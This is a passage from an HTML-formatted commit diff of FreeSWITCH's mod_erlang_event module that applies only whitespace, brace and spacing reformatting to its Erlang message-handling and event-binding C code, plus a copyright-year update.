</span><span class="lines">@@ -547,7 +528,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 bindings.head = binding;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_xml_set_binding_sections(bindings.search_binding, switch_xml_get_binding_sections(bindings.search_binding) | section);
</span><span class="cx">                         switch_mutex_unlock(globals.listener_mutex);
</span><span class="cx">
</span><span class="lines">@@ -564,13 +545,13 @@
</span><span class="cx"> or
</span><span class="cx"> {handlecall,<uuid>} to send messages back to the sender
</span><span class="cx"> */
</span><del>-static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_handlecall(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char reg_name[MAXATOMLEN];
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">
</span><span class="cx">         if (arity < 2 || arity > 3 ||
</span><del>-                (arity==3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
</del><ins>+                (arity == 3 && ei_decode_atom(buf->buff, &buf->index, reg_name)) ||
</ins><span class="cx">                 ei_decode_string_or_binary(buf->buff, &buf->index, SWITCH_UUID_FORMATTED_LENGTH, uuid_str)) {
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="lines">@@ -580,8 +561,8 @@
</span><span class="cx">                 if (!zstr_buf(uuid_str)) {
</span><span class="cx">                         if ((session = switch_core_session_locate(uuid_str))) {
</span><span class="cx">                                 /* create a new session list element and attach it to this listener */
</span><del>-                                if ((arity==2 && attach_call_to_pid(listener, &msg->from, session)) ||
-                                                (arity==3 && attach_call_to_registered_process(listener, reg_name, session))) {
</del><ins>+                                if ((arity == 2 && attach_call_to_pid(listener, &msg->from, session)) ||
+                                        (arity == 3 && attach_call_to_registered_process(listener, reg_name, session))) {
</ins><span class="cx">                                         ei_x_encode_atom(rbuf, "ok");
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="lines">@@ -607,17 +588,17 @@
</span><span class="cx"> /* catch the response to ei_rpc_to (which comes back as {rex, {Ref, Pid}}
</span><span class="cx"> The {Ref,Pid} bit can be handled by handle_ref_tuple
</span><span class="cx"> */
</span><del>-static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         int type, size, arity2, tmpindex;
</span><span class="cx">
</span><span class="cx">         ei_get_type(buf->buff, &buf->index, &type, &size);
</span><del>-        switch(type) {
-        case ERL_SMALL_TUPLE_EXT :
-        case ERL_LARGE_TUPLE_EXT :
</del><ins>+        switch (type) {
+        case ERL_SMALL_TUPLE_EXT:
+        case ERL_LARGE_TUPLE_EXT:
</ins><span class="cx">                 tmpindex = buf->index;
</span><span class="cx">                 ei_decode_tuple_header(buf->buff, &tmpindex, &arity2);
</span><del>-                return handle_ref_tuple(listener,msg,buf,rbuf);
</del><ins>+                return handle_ref_tuple(listener, msg, buf, rbuf);
</ins><span class="cx">         default:
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Unknown rpc response\n");
</span><span class="cx">                 break;
</span><span class="lines">@@ -626,7 +607,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char tupletag[MAXATOMLEN];
</span><span class="cx">         int arity;
</span><span class="lines">@@ -637,30 +618,29 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 if (!strncmp(tupletag, "fetch_reply", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_fetch_reply(listener,buf,rbuf);
</del><ins>+                        ret = handle_msg_fetch_reply(listener, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "set_log_level", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_set_log_level(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_set_log_level(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "event", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_event(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_event(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "nixevent", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_nixevent(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_nixevent(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "api", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_api(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_api(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "bgapi", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_bgapi(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_bgapi(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "sendevent", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_sendevent(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_sendevent(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "sendmsg", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_sendmsg(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_sendmsg(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "bind", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_bind(listener,msg,buf,rbuf);
</del><ins>+                        ret = handle_msg_bind(listener, msg, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "handlecall", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_handlecall(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_handlecall(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, "rex", MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_rpcresponse(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_rpcresponse(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else {
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                         ei_x_encode_atom(rbuf, "error");
</span><span class="lines">@@ -670,7 +650,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="cx">         switch_status_t ret = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -679,8 +659,7 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badarg");
</span><del>-        }
-        else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
</del><ins>+        } else if (!strncmp(atom, "nolog", MAXATOMLEN)) {
</ins><span class="cx">                 if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="cx">                         void *pop;
</span><span class="cx">                         /*purge the log queue */
</span><span class="lines">@@ -707,7 +686,7 @@
</span><span class="cx">                 void *pop;
</span><span class="cx">                 /*purge the event queue */
</span><span class="cx">                 while (switch_queue_trypop(listener->event_queue, &pop) == SWITCH_STATUS_SUCCESS);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(listener, LFLAG_EVENTS)) {
</span><span class="cx">                         uint8_t x = 0;
</span><span class="cx">                         switch_clear_flag_locked(listener, LFLAG_EVENTS);
</span><span class="lines">@@ -739,12 +718,12 @@
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "undef");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         erlang_ref ref;
</span><span class="cx">         erlang_pid *pid;
</span><span class="lines">@@ -765,17 +744,17 @@
</span><span class="cx">                 ei_x_encode_atom(rbuf, "error");
</span><span class="cx">                 ei_x_encode_atom(rbuf, "badmem");
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if (ei_decode_pid(buf->buff, &buf->index, pid)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid pid in a reference/pid tuple\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_hash_ref(&ref, hash);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Hashed ref to %s\n", hash);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = switch_core_hash_find(listener->spawn_pid_hash, hash))) {
</span><span class="cx">                 if (p == &globals.TIMEOUT) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Handler for %s timed out\n", hash);
</span><span class="lines">@@ -788,7 +767,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found waiting slot for %s\n", hash);
</span><span class="cx">                         switch_core_hash_delete(listener->spawn_pid_hash, hash);
</span><span class="cx">                         switch_core_hash_insert(listener->spawn_pid_hash, hash, pid);
</span><del>-                        return SWITCH_STATUS_FALSE; /*no reply */
</del><ins>+                        return SWITCH_STATUS_FALSE;        /*no reply */
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found filled slot for %s\n", hash);
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="lines">@@ -803,7 +782,7 @@
</span><span class="cx">                 ei_x_encode_atom(rbuf, "invalid_ref");
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_safe_free(pid); /* don't need it */
</del><ins>+        switch_safe_free(pid);                /* don't need it */
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -811,7 +790,7 @@
</span><span class="cx">
</span><span class="cx"> /* fake enough of the net_kernel module to be able to respond to net_adm:ping */
</span><span class="cx"> /* {'$gen_call', {<cpx@freecpx.128.0>, #Ref<254770.4.0>}, {is_auth, cpx@freecpx} */
</span><del>-static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         int version, size, type, arity;
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="lines">@@ -881,7 +860,7 @@
</span><span class="cx">         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">         ei_x_encode_ref(rbuf, &ref);
</span><span class="cx">         ei_x_encode_atom(rbuf, "yes");
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(listener->sock_mutex);
</span><span class="cx">         ei_send(listener->sockfd, &pid, rbuf->buff, rbuf->index);
</span><span class="cx">         switch_mutex_unlock(listener->sock_mutex);
</span><span class="lines">@@ -893,7 +872,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         int type, type2, size, version, arity, tmpindex;
</span><span class="cx">         switch_status_t ret = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -905,37 +884,37 @@
</span><span class="cx">                 buf->index = 0;
</span><span class="cx">                 ei_decode_version(buf->buff, &buf->index, &version);
</span><span class="cx">                 ei_get_type(buf->buff, &buf->index, &type, &size);
</span><del>-                switch(type) {
-                case ERL_SMALL_TUPLE_EXT :
-                case ERL_LARGE_TUPLE_EXT :
</del><ins>+                switch (type) {
+                case ERL_SMALL_TUPLE_EXT:
+                case ERL_LARGE_TUPLE_EXT:
</ins><span class="cx">                         tmpindex = buf->index;
</span><span class="cx">                         ei_decode_tuple_header(buf->buff, &tmpindex, &arity);
</span><span class="cx">                         ei_get_type(buf->buff, &tmpindex, &type2, &size);
</span><span class="cx">
</span><del>-                        switch(type2) {
-                                case ERL_ATOM_EXT:
-                                        ret = handle_msg_tuple(listener,msg,buf,rbuf);
-                                        break;
-                                case ERL_REFERENCE_EXT :
-                                case ERL_NEW_REFERENCE_EXT :
-                                        ret = handle_ref_tuple(listener, msg, buf, rbuf);
-                                        break;
-                                default :
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
-                                        /* some other kind of erlang term */
-                                        ei_x_encode_tuple_header(rbuf, 2);
-                                        ei_x_encode_atom(rbuf, "error");
-                                        ei_x_encode_atom(rbuf, "undef");
-                                        break;
</del><ins>+                        switch (type2) {
+                        case ERL_ATOM_EXT:
+                                ret = handle_msg_tuple(listener, msg, buf, rbuf);
+                                break;
+                        case ERL_REFERENCE_EXT:
+                        case ERL_NEW_REFERENCE_EXT:
+                                ret = handle_ref_tuple(listener, msg, buf, rbuf);
+                                break;
+                        default:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "WEEEEEEEE %d %d\n", type, type2);
+                                /* some other kind of erlang term */
+                                ei_x_encode_tuple_header(rbuf, 2);
+                                ei_x_encode_atom(rbuf, "error");
+                                ei_x_encode_atom(rbuf, "undef");
+                                break;
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         break;
</span><del>-                                                        
-                case ERL_ATOM_EXT :
-                        ret = handle_msg_atom(listener,msg,buf,rbuf);
</del><ins>+
+                case ERL_ATOM_EXT:
+                        ret = handle_msg_atom(listener, msg, buf, rbuf);
</ins><span class="cx">                         break;
</span><span class="cx">
</span><del>-                default :
</del><ins>+                default:
</ins><span class="cx">                         /* some other kind of erlang term */
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                         ei_x_encode_atom(rbuf, "error");
</span><span class="lines">@@ -944,7 +923,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (SWITCH_STATUS_FALSE==ret) {
</del><ins>+        if (SWITCH_STATUS_FALSE == ret) {
</ins><span class="cx">                 return 0;
</span><span class="cx">         } else if (rbuf->index > 1) {
</span><span class="cx">                 switch_mutex_lock(listener->sock_mutex);
</span><span class="lines">@@ -954,9 +933,9 @@
</span><span class="cx">                 ei_x_print_msg(rbuf, &msg->from, 1);
</span><span class="cx"> #endif
</span><span class="cx">
</span><del>-                if (SWITCH_STATUS_SUCCESS==ret)
</del><ins>+                if (SWITCH_STATUS_SUCCESS == ret)
</ins><span class="cx">                         return 0;
</span><del>-                else /* SWITCH_STATUS_TERM */
</del><ins>+                else                                        /* SWITCH_STATUS_TERM */
</ins><span class="cx">                         return 1;
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Empty reply, supressing\n");
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -59,7 +59,7 @@
</span><span class="cx">         for (l = listen_list.listeners; l; l = l->next) {
</span><span class="cx">                 if (switch_test_flag(l, LFLAG_LOG) && l->level >= node->level) {
</span><span class="cx">
</span><del>-                         switch_log_node_t *dnode = switch_log_node_dup(node);
</del><ins>+                        switch_log_node_t *dnode = switch_log_node_dup(node);
</ins><span class="cx">
</span><span class="cx">                         if (switch_queue_trypush(l->log_queue, dnode) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (l->lost_logs) {
</span><span class="lines">@@ -84,14 +84,14 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static void expire_listener(listener_t **listener)
</del><ins>+static void expire_listener(listener_t ** listener)
</ins><span class="cx"> {
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_unlock((*listener)->rwlock);
</span><span class="cx">         switch_core_hash_destroy(&(*listener)->event_hash);
</span><span class="cx">         switch_core_destroy_memory_pool(&(*listener)->pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (switch_queue_trypop((*listener)->event_queue, &pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx">                 switch_event_destroy(&pevent);
</span><span class="lines">@@ -101,7 +101,8 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static void remove_binding(listener_t *listener, erlang_pid *pid) {
</del><ins>+static void remove_binding(listener_t *listener, erlang_pid * pid)
+{
</ins><span class="cx">         struct erlang_binding *ptr, *lst = NULL;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="lines">@@ -109,8 +110,7 @@
</span><span class="cx">         switch_xml_set_binding_sections(bindings.search_binding, SWITCH_XML_SECTION_MAX);
</span><span class="cx">
</span><span class="cx">         for (ptr = bindings.head; ptr; lst = ptr, ptr = ptr->next) {
</span><del>-                if ((listener && ptr->listener == listener) ||
-                        (pid && (ptr->process.type == ERLANG_PID) && !ei_compare_pids(&ptr->process.pid, pid))) {
</del><ins>+                if ((listener && ptr->listener == listener) || (pid && (ptr->process.type == ERLANG_PID) && !ei_compare_pids(&ptr->process.pid, pid))) {
</ins><span class="cx">                         if (bindings.head == ptr) {
</span><span class="cx">                                 if (ptr->next) {
</span><span class="cx">                                         bindings.head = ptr->next;
</span><span class="lines">@@ -136,11 +136,11 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static void send_event_to_attached_sessions(listener_t* listener, switch_event_t *event)
</del><ins>+static void send_event_to_attached_sessions(listener_t *listener, switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         char *uuid = switch_event_get_header(event, "unique-id");
</span><span class="cx">         switch_event_t *clone = NULL;
</span><del>-        session_elem_t* s;
</del><ins>+        session_elem_t *s;
</ins><span class="cx">
</span><span class="cx">         if (!uuid)
</span><span class="cx">                 return;
</span><span class="lines">@@ -148,7 +148,8 @@
</span><span class="cx">         for (s = listener->session_list; s; s = s->next) {
</span><span class="cx">                 /* check the event uuid against the uuid of each session */
</span><span class="cx">                 if (!strcmp(uuid, s->uuid_str)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_DEBUG, "Sending event %s to attached session for %s\n", switch_event_name(event->event_id), s->uuid_str);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s->uuid_str), SWITCH_LOG_DEBUG, "Sending event %s to attached session for %s\n",
+                                                         switch_event_name(event->event_id), s->uuid_str);
</ins><span class="cx">                         if (switch_event_dup(&clone, event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 /* add the event to the queue for this session */
</span><span class="cx">                                 if (switch_queue_trypush(s->event_queue, clone) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -177,9 +178,9 @@
</span><span class="cx">         lp = listen_list.listeners;
</span><span class="cx">
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><del>-        while(lp) {
</del><ins>+        while (lp) {
</ins><span class="cx">                 uint8_t send = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 l = lp;
</span><span class="cx">                 lp = lp->next;
</span><span class="cx">
</span><span class="lines">@@ -187,7 +188,7 @@
</span><span class="cx">                  one of them should receive the event as well
</span><span class="cx">                  */
</span><span class="cx">
</span><del>-                send_event_to_attached_sessions(l,event);
</del><ins>+                send_event_to_attached_sessions(l, event);
</ins><span class="cx">
</span><span class="cx">                 if (!switch_test_flag(l, LFLAG_EVENTS)) {
</span><span class="cx">                         continue;
</span><span class="lines">@@ -208,7 +209,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (send) {
</span><span class="cx">                         if (switch_event_dup(&clone, event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (switch_queue_trypush(l->event_queue, clone) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -237,7 +238,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> #ifdef WIN32
</span><del>-static void close_socket(SOCKET *sock)
</del><ins>+static void close_socket(SOCKET * sock)
</ins><span class="cx"> #else
</span><span class="cx"> static void close_socket(int *sock)
</span><span class="cx"> #endif
</span><span class="lines">@@ -286,7 +287,7 @@
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* Search for a listener already talking to the specified node */
</span><del>-static listener_t * find_listener(char* nodename)
</del><ins>+static listener_t *find_listener(char *nodename)
</ins><span class="cx"> {
</span><span class="cx">         listener_t *l = NULL;
</span><span class="cx">
</span><span class="lines">@@ -313,13 +314,14 @@
</span><span class="cx"> static void remove_session_elem_from_listener(listener_t *listener, session_elem_t *session_element)
</span><span class="cx"> {
</span><span class="cx">         session_elem_t *s, *last = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session_element)
</span><span class="cx">                 return;
</span><span class="cx">
</span><del>-        for(s = listener->session_list; s; s = s->next) {
</del><ins>+        for (s = listener->session_list; s; s = s->next) {
</ins><span class="cx">                 if (s == session_element) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Removing session element for %s\n", session_element->uuid_str);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element->uuid_str), SWITCH_LOG_DEBUG, "Removing session element for %s\n",
+                                                         session_element->uuid_str);
</ins><span class="cx">                         if (last) {
</span><span class="cx">                                 last->next = s->next;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -342,17 +344,18 @@
</span><span class="cx">         /* this allows the application threads to exit */
</span><span class="cx">         switch_clear_flag_locked(session_element, LFLAG_SESSION_ALIVE);
</span><span class="cx">         switch_core_destroy_memory_pool(&session_element->pool);
</span><del>-        /*switch_safe_free(s);*/
</del><ins>+        /*switch_safe_free(s); */
</ins><span class="cx"> }
</span><span class="cx">
</span><del>-static void remove_session_elem_from_listener_locked(listener_t *listener, session_elem_t *session_element) {
</del><ins>+static void remove_session_elem_from_listener_locked(listener_t *listener, session_elem_t *session_element)
+{
</ins><span class="cx">         switch_mutex_lock(listener->session_mutex);
</span><span class="cx">         remove_session_elem_from_listener(listener, session_element);
</span><span class="cx">         switch_mutex_unlock(listener->session_mutex);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-session_elem_t * find_session_elem_by_pid(listener_t *listener, erlang_pid *pid)
</del><ins>+session_elem_t *find_session_elem_by_pid(listener_t *listener, erlang_pid * pid)
</ins><span class="cx"> {
</span><span class="cx">         session_elem_t *s = NULL;
</span><span class="cx">
</span><span class="lines">@@ -369,9 +372,9 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> static switch_xml_t erlang_fetch(const char *sectionstr, const char *tag_name, const char *key_name, const char *key_value,
</span><del>-                                                                switch_event_t *params, void *user_data)
</del><ins>+                                                                 switch_event_t *params, void *user_data)
</ins><span class="cx"> {
</span><del>-        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">         int type, size;
</span><span class="cx">         int i = 0;
</span><span class="cx">         void *p = NULL;
</span><span class="lines">@@ -388,7 +391,7 @@
</span><span class="cx">
</span><span class="cx">         section = switch_xml_parse_section_string((char *) sectionstr);
</span><span class="cx">
</span><del>-        for (ptr = bindings.head; ptr && ptr->section != section; ptr = ptr->next); /* just get the first match */
</del><ins>+        for (ptr = bindings.head; ptr && ptr->section != section; ptr = ptr->next);        /* just get the first match */
</ins><span class="cx">
</span><span class="cx">         if (!ptr) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "no binding for %s\n", sectionstr);
</span><span class="lines">@@ -397,15 +400,16 @@
</span><span class="cx">
</span><span class="cx">         if (!ptr->listener) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "NULL pointer binding!\n");
</span><del>-                return NULL; /* our pointer is trash */
</del><ins>+                return NULL;                        /* our pointer is trash */
</ins><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "binding for %s in section %s with key %s and value %s requested from node %s\n", tag_name, sectionstr, key_name, key_value, ptr->process.pid.node);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "binding for %s in section %s with key %s and value %s requested from node %s\n", tag_name,
+                                         sectionstr, key_name, key_value, ptr->process.pid.node);
</ins><span class="cx">
</span><span class="cx">         switch_uuid_get(&uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><span class="cx">
</span><del>-        /*switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "Request-ID", uuid_str);*/
</del><ins>+        /*switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "Request-ID", uuid_str); */
</ins><span class="cx">
</span><span class="cx">         ei_x_encode_tuple_header(&buf, 7);
</span><span class="cx">         ei_x_encode_atom(&buf, "fetch");
</span><span class="lines">@@ -427,25 +431,26 @@
</span><span class="cx">         switch_mutex_unlock(ptr->listener->sock_mutex);
</span><span class="cx">
</span><span class="cx">         while (!(p = switch_core_hash_find(ptr->listener->fetch_reply_hash, uuid_str)) || p == &globals.WAITING) {
</span><del>-                if (i > 50) { /* half a second timeout */
</del><ins>+                if (i > 50) {                        /* half a second timeout */
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Timed out when waiting for XML fetch response\n");
</span><del>-                        switch_core_hash_insert(ptr->listener->fetch_reply_hash, uuid_str, &globals.TIMEOUT); /* TODO lock this? */
</del><ins>+                        switch_core_hash_insert(ptr->listener->fetch_reply_hash, uuid_str, &globals.TIMEOUT);        /* TODO lock this? */
</ins><span class="cx">                         return NULL;
</span><span class="cx">                 }
</span><span class="cx">                 i++;
</span><del>-                switch_yield(10000); /* 10ms */
</del><ins>+                switch_yield(10000);        /* 10ms */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         rep = (ei_x_buff *) p;
</span><span class="cx">
</span><span class="cx">         ei_get_type(rep->buff, &rep->index, &type, &size);
</span><span class="cx">
</span><del>-        if (type != ERL_STRING_EXT && type != ERL_BINARY_EXT) { /* XXX no unicode or character codes > 255 */
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "XML fetch response contained non ASCII characters? (was type %d of size %d)\n", type, size);
